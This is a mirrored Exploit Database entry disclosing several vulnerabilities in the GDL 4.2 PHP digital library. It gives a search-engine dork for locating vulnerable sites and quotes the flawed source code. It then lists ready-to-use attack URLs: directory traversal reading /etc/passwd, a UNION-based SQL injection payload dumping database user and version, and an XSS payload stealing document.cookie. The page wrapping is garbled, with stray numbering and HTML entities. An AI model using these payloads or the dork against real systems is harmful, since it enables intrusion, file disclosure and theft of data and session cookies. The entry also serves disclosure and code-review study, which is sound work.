GDL 4.2 – Multiple Vulnerabilities

• Exploit Database
• 117 阅读

• 作者： ByEge
  日期： 2014-02-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/31961/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125

  -> Title: GDL 4.2 Multiple Vulnerabilities   -> Down. Script : http://kmrg.itb.ac.id/ - http://kmrg.itb.ac.id/gdl42.zip   -> Author : ByEge   -> Home : http://byege.blogspot.com.tr/   -> Tested : Apache/2.2.22 (Win32) PHP/5.4.3   -> Date : 26/02/2014   -> Google Dork: "Powered by GDL 4.2"And "gdl.php?mod=browse"   -> Thanks : F0RTYS3V3N- Cyb3rking - ameN   -> Keyfi: http://www.youtube.com/watch?v=wKGMk56zSPI --> Yaz dostum boşa geçmiş ömre yaşam denir mi ?   -> Not: Kendini geliştirmek isteyen arkadaşlar kod analizi için kullanabilirsiniz scripti, bir çok güvenlik zaafiyeti var.     ################################### #Directory traversal vulnerability# ################################### http://localhost/gdl.php?newlang=../../../../../../../../../../etc/passwd%00 http://localhost/index.php?newlang=../../../../../../../../../../etc/passwd%00 Line : gdl42/class/session.php 96 - 99parameter : newlang     // Setting bahasa $lang = $_COOKIE[&apos;gdl_lang&apos;]; $newlang = $_GET[&apos;newlang&apos;]; if (isset($newlang)) { if (file_exists("./lang/$newlang.php")) { setcookie("gdl_lang",$newlang,time()+($gdl_sys[&apos;page_caching&apos;] * 60)); $gdl_content->language=$newlang; } else { setcookie("gdl_lang",$gdl_sys[&apos;language&apos;],time()+($gdl_sys[&apos;page_caching&apos;] * 60)); $gdl_content->language=$gdl_sys[&apos;language&apos;]; } } elseif (isset($lang)) { $gdl_content->language=$lang; }else{ setcookie("gdl_lang",$gdl_sys[&apos;language&apos;],time()+($gdl_sys[&apos;page_caching&apos;] * 60)); $gdl_content->language=$gdl_sys[&apos;language&apos;]; } } function set_theme(){ global $gdl_content, $gdl_sys; -------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------- http://localhost/gdl.php?newtheme=../../../../../../../../../../etc/passwd%00 http://localhost/index.php?newtheme=../../../../../../../../../../etc/passwd%00 Line : gdl42/class/session.php120 - 123parameter : newtheme   $theme = $_COOKIE[&apos;gdl_theme&apos;]; $newtheme = $_GET[&apos;newtheme&apos;]; if (isset($newtheme)) { if (file_exists("./theme/$newtheme/theme.php")) { setcookie("gdl_theme",$newtheme,time()+($gdl_sys[&apos;page_caching&apos;] * 60)); $gdl_content->theme=$newtheme; } else { setcookie("gdl_theme",$gdl_sys[&apos;theme&apos;],time()+($gdl_sys[&apos;page_caching&apos;] * 60)); $gdl_content->theme=$gdl_sys[&apos;theme&apos;]; } } elseif (isset($theme)) { $gdl_content->theme=$theme; }else{ setcookie("gdl_theme",$gdl_sys[&apos;theme&apos;],time()+($gdl_sys[&apos;page_caching&apos;] * 60)); $gdl_content->theme=$gdl_sys[&apos;theme&apos;]; }   } function login($userid,$password) { global $gdl_auth,$gdl_sys; -------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------- ############################# #SQL Injection vulnerability# ############################# http://localhost/download.php?id=injecthere Line : gdl42/download.php18 - 24parameter : id   $file_id = $_GET[&apos;id&apos;];   function download_redirect(){ global $file_id,$gdl_db,$gdl_metadata,$gdl_publisher,$gdl_session,$gdl_publisher2; $dbres = $gdl_db->select("relation","part,path,identifier,uri","relation_id=$file_id"); $file_target=@mysql_result($dbres,0,"path"); $file_part=@mysql_result($dbres,0,"part"); $publisher = $gdl_metadata->get_publisher(@mysql_result($dbres,0,"identifier"));   -------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------- ################################### #Blind SQL Injection vulnerability# ################################### http://localhost/gdl.php?mod=browse&newlang=english&op=comment&page=read&id=injecthere Line : gdl42/main.php 119parameter : id if ((file_exists("./theme/".$gdl_content->theme."/".$gdl_content->theme."_print.css"))&& ($_GET[&apos;mod&apos;]== "browse") && ($_GET[&apos;op&apos;]=="read") && (! empty ($_GET[&apos;id&apos;]))) -------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------- ######################################## #Cross site scripting xss vulnerability# ######################################## http://localhost/gdl.php?mod=search&action=ByEge&keyword=&apos;&apos;"><script>alert(document.cookie)</script>&type=all&submit=OK Line : module/search/function.php 38 parameter : keyword   ############################################################################################################################################################################### ###############################################################################################################################################################################   Test Vulnerability : http://server/download.php?id=null/**/and/**/true/**/UNION/**/SELECT/**/CONCAT_WS(CHAR(32,58,32),user(),database(),version()),2-- http://server/gdl.php?newtheme=../../../../../../../../../../etc/passwd%00 http://server/gdl.php?newlang=../../../../../../../../../../etc/passwd%00 http://server/gdl.php?mod=search&action=folks&keyword=&apos;&apos;"><script>alert(document.cookie)</script>&type=all&submit=OK